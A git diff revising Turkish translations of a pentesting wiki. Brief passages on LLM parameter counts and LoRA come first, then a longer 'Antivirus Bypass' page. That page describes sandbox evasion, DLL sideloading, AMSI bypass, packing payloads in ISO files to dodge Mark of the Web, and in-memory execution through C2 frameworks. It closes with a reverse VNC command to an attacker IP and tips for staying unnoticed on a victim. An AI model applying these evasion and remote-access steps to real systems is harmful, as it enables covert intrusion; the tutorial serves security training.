* **`W_query`, `W_key`, `W_value`'nin her biri:**
```python
qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
@ -558,7 +558,7 @@ ff_params = 2,362,368 + 2,360,064 = 4,722,432
**c. Katman Normalizasyonları**
* **Bileşenler:**
* Her blok için iki `LayerNorm` örneği.
* Her blok başına iki `LayerNorm` örneği.
* Her `LayerNorm`'un `2 * emb_dim` parametresi vardır (ölçek ve kaydırma).
* **Hesaplamalar:**
@ -566,7 +566,7 @@ ff_params = 2,362,368 + 2,360,064 = 4,722,432
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
```
**d. Her Transformer Bloğu için Toplam Parametreler**
**d. Transformer Bloğu Başına Toplam Parametreler**
```python
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
@ -607,11 +607,11 @@ total_params = (
)
total_params = 163,009,536
```
## Metin Üret
## Generate Text
Önceki gibi bir sonraki token'ı tahmin eden bir modele sahip olduğunuzda, çıktının son token değerlerini almak yeterlidir (çünkü bunlar tahmin edilen token'ın değerleri olacaktır), bu da **sözlükteki her bir giriş için bir değer** olacak ve ardından `softmax` fonksiyonunu kullanarak boyutları 1'e toplam olan olasılıklara normalize etmek ve ardından en büyük girişin indeksini almak, bu da sözlükteki kelimenin indeksi olacaktır.
Bir önceki gibi bir sonraki token'ı tahmin eden bir modele sahip olduğunuzda, çıktının son token değerlerini almak yeterlidir (çünkü bunlar tahmin edilen token'ın değerleri olacaktır), bu da **sözlükteki her bir giriş için bir değer** olacak ve ardından `softmax` fonksiyonunu kullanarak boyutları 1'e toplam olan olasılıklara normalize etmek ve ardından en büyük girişin indeksini almak, bu da sözlükteki kelimenin indeksi olacaktır.
[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb) adresinden kod:
Code from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb):
```python
def generate_text_simple(model, idx, max_new_tokens, context_size):
# idx is (batch, n_tokens) array of indices in the current context

View file

@ -6,13 +6,13 @@
**LoRA'nın kullanımı,** zaten eğitilmiş modelleri **ince ayar** yapmak için gereken hesaplamayı büyük ölçüde azaltır.
{% endhint %}
LoRA, modelin **küçük bir kısmını** değiştirerek **büyük modelleri** verimli bir şekilde ince ayar yapmayı mümkün kılar. Eğitilmesi gereken parametre sayısını azaltarak **bellek** ve **hesaplama kaynakları** tasarrufu sağlar. Bunun nedeni:
LoRA, modelin **küçük bir kısmını** değiştirerek **büyük modelleri** verimli bir şekilde ince ayar yapmayı mümkün kılar. Eğitmeniz gereken parametre sayısını azaltarak **bellek** ve **hesaplama kaynakları** tasarrufu sağlar. Bunun nedeni:
1. **Eğitilebilir Parametre Sayısını Azaltır**: Modeldeki tüm ağırlık matrisini güncellemek yerine, LoRA ağırlık matrisini iki daha küçük matrise (A ve B olarak adlandırılır) **bölerek** çalışır. Bu, eğitimi **daha hızlı** hale getirir ve daha az bellek gerektirir çünkü daha az parametre güncellenmesi gerekir.
1. Bunun nedeni, bir katmanın (matrisin) tam ağırlık güncellemesini hesaplamak yerine, bunu 2 daha küçük matrisin çarpımı olarak yaklaşık olarak hesaplamasıdır, bu da güncellemeyi hesaplamayı azaltır:\
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
2. **Orijinal Model Ağırlıklarını Değiştirmeden Tutma**: LoRA, orijinal model ağırlıklarını aynı tutmanıza ve yalnızca **yeni küçük matrisleri** (A ve B) güncellemenize olanak tanır. Bu, modelin orijinal bilgisinin korunması anlamına geldiği için faydalıdır ve yalnızca gerekli olanı ayarlarsınız.
3. **Verimli Görev-Özel İnce Ayar**: Modeli **yeni bir göreve** uyarlamak istediğinizde, modelin geri kalanını olduğu gibi bırakırken yalnızca **küçük LoRA matrislerini** (A ve B) eğitebilirsiniz. Bu, tüm modeli yeniden eğitmekten **çok daha verimlidir**.
4. **Depolama Verimliliği**: İnce ayar yaptıktan sonra, her görev için **tamamen yeni bir modeli** kaydetmek yerine, yalnızca **LoRA matrislerini** saklamanız gerekir; bu matrisler, tüm modele kıyasla çok küçüktür. Bu, modeli çok fazla depolama alanı kullanmadan birçok göreve uyarlamayı kolaylaştırır.

View file

@ -1,21 +1,21 @@
# Antivirus (AV) Bypass
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
@ -29,35 +29,35 @@ GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt
### **Statik tespit**
Statik tespit, bilinen kötü amaçlı dizeleri veya bir ikili dosyadaki byte dizilerini işaretleyerek ve ayrıca dosyanın kendisinden bilgi çıkararak elde edilir (örneğin, dosya açıklaması, şirket adı, dijital imzalar, simge, kontrol toplamı vb.). Bu, bilinen kamu araçlarını kullanmanın sizi daha kolay yakalanmanıza neden olabileceği anlamına gelir, çünkü muhtemelen analiz edilmiş ve kötü amaçlı olarak işaretlenmiştir. Bu tür tespitlerden kaçınmanın birkaç yolu vardır:
Statik tespit, bilinen kötü amaçlı dizeleri veya bayt dizilerini bir ikili dosyada veya betikte işaretleyerek ve ayrıca dosyanın kendisinden bilgi çıkararak gerçekleştirilir (örneğin, dosya açıklaması, şirket adı, dijital imzalar, simge, kontrol toplamı vb.). Bu, bilinen kamu araçlarını kullanmanın sizi daha kolay yakalanmanıza neden olabileceği anlamına gelir, çünkü muhtemelen analiz edilmiş ve kötü amaçlı olarak işaretlenmiştir. Bu tür tespitlerden kaçınmanın birkaç yolu vardır:
* **Şifreleme**
Eğer ikili dosyayı şifrelersek, AV'nin programınızı tespit etmesi imkansız hale gelir, ancak programı bellek içinde deşifre edip çalıştırmak için bir tür yükleyiciye ihtiyacınız olacaktır.
Eğer ikili dosyayı şifrelerseniz, AV'nin programınızı tespit etmesi imkansız hale gelir, ancak programı bellek içinde deşifre edip çalıştırmak için bir tür yükleyiciye ihtiyacınız olacaktır.
* **Obfuscation (Karmaşıklaştırma)**
* **Obfuscation**
Bazen tek yapmanız gereken, ikili dosyanızdaki veya scriptinizdeki bazı dizeleri değiştirmektir, ancak bu, neyi karmaşıklaştırmaya çalıştığınıza bağlı olarak zaman alıcı bir görev olabilir.
Bazen tek yapmanız gereken, ikili dosyanızdaki veya betiğinizdeki bazı dizeleri değiştirmektir, ancak bu, neyi obfuscate etmeye çalıştığınıza bağlı olarak zaman alıcı bir görev olabilir.
* **Özel araçlar**
Kendi araçlarınızı geliştirirseniz, bilinen kötü imzalar olmayacaktır, ancak bu çok zaman ve çaba gerektirir.
{% hint style="info" %}
Windows Defender'ın statik tespitine karşı kontrol etmenin iyi bir yolu [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)'dir. Temelde dosyayı birden fazla parçaya ayırır ve ardından Defender'a her birini ayrı ayrı taramasını ister, bu şekilde, ikili dosyanızdaki işaretlenmiş dizelerin veya byte'ların tam olarak ne olduğunu size söyleyebilir.
Windows Defender statik tespitine karşı kontrol etmenin iyi bir yolu [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)'dir. Temelde dosyayı birden fazla parçaya böler ve ardından Defender'dan her birini ayrı ayrı taramasını ister, bu şekilde, ikili dosyanızdaki işaretlenmiş dizelerin veya baytların tam olarak ne olduğunu size söyleyebilir.
{% endhint %}
Bu [YouTube çalma listesine](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) göz atmanızı şiddetle tavsiye ederim, pratik AV Kaçınma hakkında.
### **Dinamik analiz**
Dinamik analiz, AV'nin ikili dosyanızı bir kum havuzunda çalıştırması ve kötü amaçlı etkinlikleri izlemesidir (örneğin, tarayıcınızın şifrelerini deşifre etmeye ve okumaya çalışmak, LSASS üzerinde bir minidump gerçekleştirmek vb.). Bu kısım üzerinde çalışmak biraz daha zor olabilir, ancak kum havuzlarından kaçınmak için yapabileceğiniz bazı şeyler var.
Dinamik analiz, AV'nin ikili dosyanızı bir kum havuzunda çalıştırması ve kötü amaçlı etkinlikleri izlemesidir (örneğin, tarayıcınızın şifrelerini deşifre etmeye ve okumaya çalışmak, LSASS üzerinde minidump yapmak vb.). Bu kısım biraz daha karmaşık olabilir, ancak kum havuzlarından kaçınmak için yapabileceğiniz bazı şeyler var.
* **Çalıştırmadan önce uyku** Uygulamanın nasıl uygulandığına bağlı olarak, AV'nin dinamik analizini atlatmanın harika bir yolu olabilir. AV'lerin dosyaları taramak için çok kısa bir süreleri vardır, bu nedenle uzun uyku süreleri, ikili dosyaların analizini bozabilir. Sorun şu ki, birçok AV'nin kum havuzları, uygulamanın nasıl uygulandığına bağlı olarak uyku süresini atlayabilir.
* **Makinenin kaynaklarını kontrol etme** Genellikle kum havuzlarının çalışacak çok az kaynağı vardır (örneğin, < 2GB RAM), aksi takdirde kullanıcının makinesini yavaşlatabilirler. Burada oldukça yaratıcı olabilirsiniz, örneğin CPU'nun sıcaklığını veya hatta fan hızlarını kontrol ederek, her şey kum havuzunda uygulanmayabilir.
* **Makineye özgü kontroller** Eğer "contoso.local" alanına katılmış bir kullanıcının iş istasyonunu hedeflemek istiyorsanız, bilgisayarın alanını kontrol edebilir ve belirttiğinizle eşleşip eşleşmediğini görebilirsiniz, eğer eşleşmiyorsa, programınızı kapatabilirsiniz.
Microsoft Defender'ın kum havuzu bilgisayar adının HAL9TH olduğunu öğreniyoruz, bu nedenle, patlamadan önce kötü amaçlı yazılımınızda bilgisayar adını kontrol edebilirsiniz, eğer ad HAL9TH ile eşleşiyorsa, Defender'ın kum havuzunun içindesiniz demektir, bu nedenle programınızı kapatabilirsiniz.
Microsoft Defender'ın Kum Havuzu bilgisayar adının HAL9TH olduğunu öğreniyoruz, bu nedenle, patlamadan önce kötü amaçlı yazılımınızda bilgisayar adını kontrol edebilirsiniz, eğer ad HAL9TH ile eşleşiyorsa, Defender'ın kum havuzunun içindesiniz demektir, bu nedenle programınızı kapatabilirsiniz.
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>kaynak: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
@ -79,7 +79,7 @@ Kaçınma için yüklerinizi değiştirirken, lütfen Defender'da **otomatik ör
Mümkün olduğunda, her zaman **kaçınma için DLL'leri kullanmayı önceliklendirin**, deneyimlerime göre, DLL dosyaları genellikle **çok daha az tespit edilir** ve analiz edilir, bu nedenle bazı durumlarda tespiti önlemek için kullanmak için çok basit bir hiledir (tabii ki yükünüzün bir DLL olarak çalıştırılma yolu varsa).
Bu görüntüde gördüğümüz gibi, Havoc'tan bir DLL Yüklemesi antiscan.me'de 4/26 tespit oranına sahipken, EXE yüklemesi 7/26 tespit oranına sahiptir.
Bu görüntüde görebileceğimiz gibi, Havoc'tan bir DLL Yüklemesi antiscan.me'de 4/26 tespit oranına sahipken, EXE yüklemesi 7/26 tespit oranına sahiptir.
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>antiscan.me'de normal bir Havoc EXE yüklemesi ile normal bir Havoc DLL karşılaştırması</p></figcaption></figure>
@ -87,9 +87,9 @@ Bu görüntüde gördüğümüz gibi, Havoc'tan bir DLL Yüklemesi antiscan.me'd
## DLL Sideloading & Proxying
**DLL Sideloading**, yükleyici tarafından kullanılan DLL arama sırasından yararlanarak, hem kurban uygulamasını hem de kötü amaçlı yükleri yan yana konumlandırır.
**DLL Sideloading**, yükleyici tarafından kullanılan DLL arama sırasından yararlanarak hem kurban uygulamasını hem de kötü amaçlı yükleri yan yana konumlandırır.
DLL Sideloading'e duyarlı programları kontrol etmek için [Siofra](https://github.com/Cybereason/siofra) ve aşağıdaki powershell scriptini kullanabilirsiniz:
DLL Sideloading'e duyarlı programları kontrol etmek için [Siofra](https://github.com/Cybereason/siofra) ve aşağıdaki powershell betiğini kullanabilirsiniz:
{% code overflow="wrap" %}
```powershell
@ -106,9 +106,9 @@ Bu komut, "C:\Program Files\\" içindeki DLL hijacking'e duyarlı programların
Kötü niyetli bir DLL'yi, bir programın yüklemeyi beklediği isimle yerleştirmek, yüklemenizi çalıştırmaz, çünkü program o DLL içinde bazı belirli işlevler bekler. Bu sorunu çözmek için, **DLL Proxying/Forwarding** adı verilen başka bir teknik kullanacağız.
**DLL Proxying**, bir programın proxy (ve kötü niyetli) DLL'den orijinal DLL'ye yaptığı çağrıları ileterek, programın işlevselliğini korur ve yüklemenizin yürütülmesini yönetebilir.
**DLL Proxying**, bir programın proxy (ve kötü niyetli) DLL'den orijinal DLL'ye yaptığı çağrıları yönlendirir, böylece programın işlevselliğini korur ve yüklemenizin yürütülmesini yönetebilir.
[@flangvik](https://twitter.com/Flangvik/) tarafından yapılan [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) projesini kullanacağım.
[@flangvik](https://twitter.com/Flangvik/) tarafından [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) projesini kullanacağım.
Aşağıda izlediğim adımlar:
@ -157,12 +157,12 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
Kaçış, sadece bir kedi ve fare oyunudur, bugün işe yarayan bir şey yarın tespit edilebilir, bu yüzden mümkünse sadece bir araca güvenmeyin, birden fazla kaçış tekniğini birleştirmeyi deneyin.
Kaçış, sadece bir kedi ve fare oyunudur, bugün işe yarayan yarın tespit edilebilir, bu yüzden mümkünse sadece bir araca güvenmeyin, birden fazla kaçış tekniğini birleştirmeyi deneyin.
{% endhint %}
## AMSI (Kötü Amaçlı Yazılım Tarama Arayüzü)
AMSI, "[dosyasız kötü amaçlı yazılım](https://en.wikipedia.org/wiki/Fileless\_malware)"ı önlemek için oluşturulmuştur. Başlangıçta, antivirüsler yalnızca **diskteki dosyaları** tarayabiliyordu, bu nedenle bir şekilde yükleri **doğrudan bellek içinde** çalıştırabiliyorsanız, antivirüs bunu önlemek için hiçbir şey yapamazdı, çünkü yeterli görünürlüğe sahip değildi.
AMSI, "[dosyasız kötü amaçlı yazılım](https://en.wikipedia.org/wiki/Fileless\_malware)"ı önlemek için oluşturulmuştur. Başlangıçta, AV'ler yalnızca **diskteki dosyaları** tarayabiliyordu, bu nedenle bir şekilde yükleri **doğrudan bellek içinde** çalıştırabiliyorsanız, AV bunu önlemek için hiçbir şey yapamazdı, çünkü yeterli görünürlüğe sahip değildi.
AMSI özelliği, Windows'un bu bileşenlerine entegre edilmiştir.
@ -180,7 +180,7 @@ Antivirüs çözümlerinin, şifrelenmemiş ve karmaşıklaştırılmamış bir
Betik çalıştırılan yürütülebilir dosyanın yolunu `amsi:` ile önceden eklediğine dikkat edin, bu durumda powershell.exe.
Diskte herhangi bir dosya bırakmadık, ama yine de AMSI nedeniyle bellek içinde yakalandık.
Diskte herhangi bir dosya bırakmadık, ancak yine de AMSI nedeniyle bellek içinde yakalandık.
AMSI'yi aşmanın birkaç yolu vardır:
@ -188,11 +188,11 @@ AMSI'yi aşmanın birkaç yolu vardır:
AMSI esasen statik tespitlerle çalıştığı için, yüklemeye çalıştığınız betikleri değiştirmek, tespiti aşmanın iyi bir yolu olabilir.
Ancak, AMSI birden fazla katmana sahip olsa bile betikleri karmaşıklaştırma yeteneğine sahiptir, bu nedenle karmaşıklaştırma, nasıl yapıldığına bağlı olarak kötü bir seçenek olabilir. Bu, kaçışı o kadar da basit hale getirmiyor. Ancak bazen, yapmanız gereken tek şey birkaç değişken adını değiştirmek ve işinizi görecektir, bu da bir şeyin ne kadar işaretlendiğine bağlıdır.
Ancak, AMSI birden fazla katmana sahip olsa bile betikleri karmaşıklaştırma yeteneğine sahiptir, bu nedenle karmaşıklaştırma, nasıl yapıldığına bağlı olarak kötü bir seçenek olabilir. Bu, kaçışı o kadar da basit hale getirmez. Ancak bazen, yapmanız gereken tek şey birkaç değişken adını değiştirmek ve işinizi görür, bu nedenle bir şeyin ne kadar işaretlendiğine bağlıdır.
* **AMSI Aşma**
AMSI, bir DLL'yi powershell (aynı zamanda cscript.exe, wscript.exe vb.) sürecine yükleyerek uygulandığı için, ayrıcalıksız bir kullanıcı olarak çalıştırırken bile bununla oynamak mümkündür. AMSI'nin uygulanmasındaki bu kusur nedeniyle, araştırmacılar AMSI taramasını aşmanın birçok yolunu bulmuşlardır.
AMSI, bir DLL'yi powershell (aynı zamanda cscript.exe, wscript.exe vb.) sürecine yükleyerek uygulandığı için, ayrıcalıksız bir kullanıcı olarak çalışırken bile bununla oynamak mümkündür. AMSI'nin uygulanmasındaki bu kusur nedeniyle, araştırmacılar AMSI taramasını aşmanın birçok yolunu bulmuşlardır.
**Bir Hata Zorlamak**
@ -239,14 +239,14 @@ Ya da bu bellek yaması aracılığıyla her yeni Powersh'i yamanlayacak bir scr
**C# düz metin kodunu obfuscate etmek**, ikili dosyaları derlemek için **metaprogramming şablonları** oluşturmak veya **derlenmiş ikili dosyaları obfuscate etmek** için kullanılabilecek birkaç araç vardır:
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Bu projenin amacı, [kod obfuscation](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) ve değiştirilmezlik sağlamak için yazılım güvenliğini artırabilen [LLVM](http://www.llvm.org/) derleme paketinin açık kaynaklı bir çatalını sağlamaktır.
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Bu projenin amacı, [kod obfuscation](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) ve değiştirilmezlik sağlamak için [LLVM](http://www.llvm.org/) derleme paketinin açık kaynaklı bir çatalını sağlamaktır.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator, `C++11/14` dilini kullanarak, derleme zamanında, herhangi bir dış araç kullanmadan ve derleyiciyi değiştirmeden obfuscate edilmiş kod oluşturmayı gösterir.
* [**obfy**](https://github.com/fritzone/obfy): Uygulamayı kırmak isteyen kişinin işini biraz daha zorlaştıracak C++ şablon metaprogramlama çerçevesi tarafından üretilen obfuscate edilmiş işlemler katmanı ekler.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz, .exe, .dll, .sys gibi çeşitli farklı pe dosyalarını obfuscate edebilen bir x64 ikili obfuscator'dır.
* [**metame**](https://github.com/a0rtega/metame): Metame, keyfi yürütülebilir dosyalar için basit bir metamorfik kod motorudur.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator, ROP (return-oriented programming) kullanarak LLVM destekli diller için ince taneli kod obfuscation çerçevesidir. ROPfuscator, normal kontrol akışının doğal kavramını engelleyerek, normal talimatları ROP zincirlerine dönüştürerek bir programı montaj kodu seviyesinde obfuscate eder.
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt, Nim dilinde yazılmış bir .NET PE Crypter'dır.
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor, mevcut EXE/DLL'leri shellcode'a dönüştürebilir ve ardından bunları yükleyebilir.
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor, mevcut EXE/DLL'leri shellcode'a dönüştürebilir ve ardından bunları yükler.
## SmartScreen & MoTW
@ -258,7 +258,7 @@ Microsoft Defender SmartScreen, son kullanıcıyı potansiyel olarak zararlı uy
SmartScreen esasen bir itibar temelli yaklaşım ile çalışır, bu da alışılmadık şekilde indirilen uygulamaların SmartScreen'i tetikleyeceği ve böylece son kullanıcının dosyayı çalıştırmasını engelleyeceği anlamına gelir (dosya yine de Daha Fazla Bilgi -> Yine de Çalıştır'a tıklanarak çalıştırılabilir).
**MoTW** (Mark of The Web), internetten indirilen dosyalarla birlikte otomatik olarak oluşturulan Zone.Identifier adlı bir [NTFS Alternatif Veri Akışı](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\))dır ve indirildiği URL ile birlikte gelir.
**MoTW** (Mark of The Web), internetten indirilen dosyalarla birlikte otomatik olarak oluşturulan Zone.Identifier adlı bir [NTFS Alternatif Veri Akışı](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\))dır.
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>İnternetten indirilen bir dosya için Zone.Identifier ADS'yi kontrol etme.</p></figcaption></figure>
@ -266,7 +266,7 @@ SmartScreen esasen bir itibar temelli yaklaşım ile çalışır, bu da alışı
Güvenilir bir imzalama sertifikası ile imzalanmış yürütülebilir dosyaların **SmartScreen'i tetiklemeyeceğini** belirtmek önemlidir.
{% endhint %}
Payload'larınızın Mark of The Web'den etkilenmesini önlemenin çok etkili bir yolu, bunları bir ISO gibi bir konteynerin içine paketlemektir. Bu, Mark-of-the-Web (MOTW) **NTFS olmayan** hacimlere **uygulanamayacağı** için olur.
Payload'larınızın Mark of The Web'i almasını önlemenin çok etkili bir yolu, bunları bir ISO gibi bir konteynerin içine paketlemektir. Bu, Mark-of-the-Web (MOTW) **non NTFS** hacimlere **uygulanamayacağı** için olur.
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
@ -302,19 +302,19 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
C# ikili dosyalarını belleğe yüklemek bir süredir bilinmektedir ve AV tarafından yakalanmadan post-exploitation araçlarınızı çalıştırmanın çok iyi bir yoludur.
Payload doğrudan belleğe yükleneceğinden, diskle etkileşime girmeden, tüm süreç için AMSI'yi yamanmakla endişelenmemiz gerekecek.
Payload doğrudan belleğe yüklenip diske dokunulmayacağı için, tüm süreç için AMSI'yi yamanmakla ilgili endişelenmemiz gerekecek.
Çoğu C2 çerçevesi (sliver, Covenant, metasploit, CobaltStrike, Havoc, vb.) zaten C# derlemelerini doğrudan bellekte çalıştırma yeteneği sunmaktadır, ancak bunu yapmanın farklı yolları vardır:
Çoğu C2 framework'ü (sliver, Covenant, metasploit, CobaltStrike, Havoc, vb.) zaten C# derlemelerini doğrudan bellekte çalıştırma yeteneği sunmaktadır, ancak bunu yapmanın farklı yolları vardır:
* **Fork\&Run**
Bu, **yeni bir fedai süreç oluşturmayı** içerir, post-exploitation kötü niyetli kodunuzu bu yeni sürece enjekte eder, kötü niyetli kodunuzu çalıştırır ve işiniz bittiğinde yeni süreci öldürür. Bunun hem avantajları hem de dezavantajları vardır. Fork ve çalıştırma yönteminin avantajı, yürütmenin **Beacon implant sürecimizin dışında** gerçekleşmesidir. Bu, post-exploitation eylemimizde bir şeyler ters giderse veya yakalanırsa, **implantımızın hayatta kalma şansının çok daha yüksek** olduğu anlamına gelir. Dezavantajı ise **Davranışsal Tespitler** tarafından yakalanma şansınızın **daha yüksek** olmasıdır.
Bu, **yeni bir fedai süreç oluşturmayı** içerir, post-exploitation kötü niyetli kodunuzu o yeni sürece enjekte eder, kötü niyetli kodunuzu çalıştırır ve işiniz bittiğinde yeni süreci öldürür. Bunun hem avantajları hem de dezavantajları vardır. Fork ve çalıştırma yönteminin avantajı, yürütmenin **Beacon implant sürecimizin dışında** gerçekleşmesidir. Bu, post-exploitation eylemimizde bir şeyler ters giderse veya yakalanırsa, **implantımızın hayatta kalma şansının çok daha yüksek** olduğu anlamına gelir. Dezavantajı ise **Davranışsal Tespitler** tarafından yakalanma şansınızın **daha yüksek** olmasıdır.
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
* **Inline**
Bu, post-exploitation kötü niyetli kodu **kendi sürecine** enjekte etmekle ilgilidir. Bu şekilde, yeni bir süreç oluşturmak ve AV tarafından taranmasını sağlamak zorunda kalmazsınız, ancak dezavantajı, payload'unuzun yürütülmesinde bir şeyler ters giderse, **beacon'unuzu kaybetme şansınızın çok daha yüksek** olmasıdır çünkü çökebilir.
Bu, post-exploitation kötü niyetli kodu **kendi sürecine** enjekte etmekle ilgilidir. Bu şekilde, yeni bir süreç oluşturmak ve AV tarafından taranmasını sağlamak zorunda kalmazsınız, ancak dezavantajı, payload'unuzun yürütülmesinde bir şeyler ters giderse, **beacon'ınızı kaybetme şansınızın çok daha yüksek** olmasıdır çünkü çökebilir.
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
@ -334,11 +334,11 @@ Repo, Defender'ın hala betikleri taradığını ancak Go, Java, PHP vb. kullana
## Gelişmiş Kaçış
Kaçış çok karmaşık bir konudur, bazen tek bir sistemde birçok farklı telemetri kaynağını dikkate almanız gerekir, bu nedenle olgun ortamlarda tamamen tespit edilmeden kalmak neredeyse imkansızdır.
Kaçış, çok karmaşık bir konudur, bazen tek bir sistemde birçok farklı telemetri kaynağını dikkate almanız gerekir, bu nedenle olgun ortamlarda tamamen tespit edilmeden kalmak neredeyse imkansızdır.
Karşılaştığınız her ortamın kendi güçlü ve zayıf yönleri olacaktır.
Daha Gelişmiş Kaçış tekniklerine dair bir fikir edinmek için [@ATTL4S](https://twitter.com/DaniLJ94) tarafından yapılan bu konuşmayı izlemenizi şiddetle tavsiye ederim.
Daha Gelişmiş Kaçış tekniklerine giriş yapmak için [@ATTL4S](https://twitter.com/DaniLJ94) tarafından yapılan bu konuşmayı izlemenizi şiddetle tavsiye ederim.
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
@ -359,7 +359,7 @@ Windows 10'a kadar, tüm Windows'lar **Telnet sunucusu** ile birlikte geliyordu
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
**Başlat**ıldığında sistem açıldığında ve **şimdi çalıştır**:
**Başlat**mak için sistem açıldığında ve **şimdi çalıştır**mak için:
```bash
sc config TlntSVR start= auto obj= localsystem
```
@ -382,13 +382,13 @@ Ardından, ikili _**winvnc.exe**_ ve **yeni** oluşturulan _**UltraVNC.ini**_ do
#### **Ters bağlantı**
**Saldırgan**, kendi **host'unda** `vncviewer.exe -listen 5900` ikilisini çalıştırmalı, böylece ters **VNC bağlantısını** yakalamaya **hazır** olacaktır. Ardından, **kurban** içinde: winvnc daemon'ını `winvnc.exe -run` ile başlatın ve `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` komutunu çalıştırın.
**Saldırgan**, kendi **host'unda** `vncviewer.exe -listen 5900` ikilisini çalıştırmalı, böylece ters **VNC bağlantısını** yakalamaya **hazır** olacaktır. Ardından, **kurban** içinde: winvnc daemon'ını `winvnc.exe -run` ile başlatın ve `winwnc.exe [-autoreconnect] -connect <saldırgan_ip>::5900` komutunu çalıştırın.
**UYARI:** Gizliliği korumak için bazı şeyleri yapmamalısınız
* `winvnc` zaten çalışıyorsa başlatmayın, aksi takdirde bir [popup](https://i.imgur.com/1SROTTl.png) tetiklersiniz. Çalışıp çalışmadığını `tasklist | findstr winvnc` ile kontrol edin
* Aynı dizinde `UltraVNC.ini` olmadan `winvnc` başlatmayın, aksi takdirde [konfigürasyon penceresi](https://i.imgur.com/rfMQWcf.png) açılır
* Yardım için `winvnc -h` çalıştırmayın, aksi takdirde bir [popup](https://i.imgur.com/oc18wcu.png) tetiklersiniz
